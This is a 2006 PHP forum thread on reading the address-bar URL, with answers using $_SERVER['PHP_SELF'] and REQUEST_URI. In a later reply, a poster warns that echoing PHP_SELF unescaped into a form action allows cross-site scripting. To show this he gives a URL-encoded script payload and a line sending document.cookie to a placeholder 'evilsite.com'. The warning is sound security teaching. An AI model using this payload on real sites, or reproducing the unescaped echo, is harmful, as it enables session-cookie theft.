/    Sign up×
Community /Pin to ProfileBookmark

[RESOLVED] Get data from address bar?

Say I on page [url]www.website.com/page.php[/url] in the address bar…

Is there a way to get what is in the address bar and put into a variable?

to post a comment
PHP

6 Comments(s)

Copy linkTweet thisAlerts:
@PineSolPirateJul 21.2006 — $_SERVER['PHP_SELF'] gets you everything but the domain (usually).

EDIT

To add on any get variables, just do something like:
[code=php]$url = $_SERVER['PHP_SELF'];
foreach($_GET as $key=>$value)
{
$url .= "&".$key."=".$value;
}[/code]
Copy linkTweet thisAlerts:
@bokehJul 21.2006 — Use [I]$_SERVER['PHP_SELF'][/I] with caution. It is not a sanitized variable.
Copy linkTweet thisAlerts:
@NogDogJul 21.2006 — $_SERVER['REQUEST_URI'] gives you everything based from the document root. If you need the protocol://server portion, you'll need to prepend that manually:

[code=php]
$uri = "http://www.charles-reace.com" . $_SERVER['REQUEST_URI'];
[/code]
Copy linkTweet thisAlerts:
@NogDogJul 21.2006 — Use [I]$_SERVER['PHP_SELF'][/I] with caution. It is not a sanitized variable.[/QUOTE]
You've mentioned this a couple times, but I don't recall an explanation as to why. Could you expand on this or refer us to a link?
Copy linkTweet thisAlerts:
@PineSolPirateJul 21.2006 — Yes, please. I don't understand how it can't be clean if its the script name and path from the domain on. I don't even think you can change $_SERVER superglobals can you?
Copy linkTweet thisAlerts:
@bokehJul 22.2006 — You've mentioned this a couple times, but I don't recall an explanation as to why. Could you expand on this or refer us to a link?[/QUOTE]Well it all depends on the server but most servers are wide open to this and magic_quotes_GPC doesn't stop it.

[URL=http://bokehman.com/tests/php-self-form.php]A simple form:[/URL] [code=php]<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<input type="submit" value="OK">
</form>[/code]


Now post a link to that form from a third party site such as this one: [URL=http://bokehman.com/tests/php-self-form.php//%22%3E%3Cscript%3Ealert('I%20just%20stole%20your%20cookies:%20'+document.cookie)%3C/script%3E%3Ctidy+up%3D%22-]visit my form[/URL]. Follow the link.

You could run pretty much any piece of javascript you liked on the client and the client would believe it came from the source site and so would be happy to give up any information that belonged to the source domain. For example: [code=php]window.location('http://evilsite.com/?stolen_cookies=' + document.cookie)[/code]

By the way I looked at your site (email me) and this is the first server I have seen that is escaping this.
×

Success!

Help @firman spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.19,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...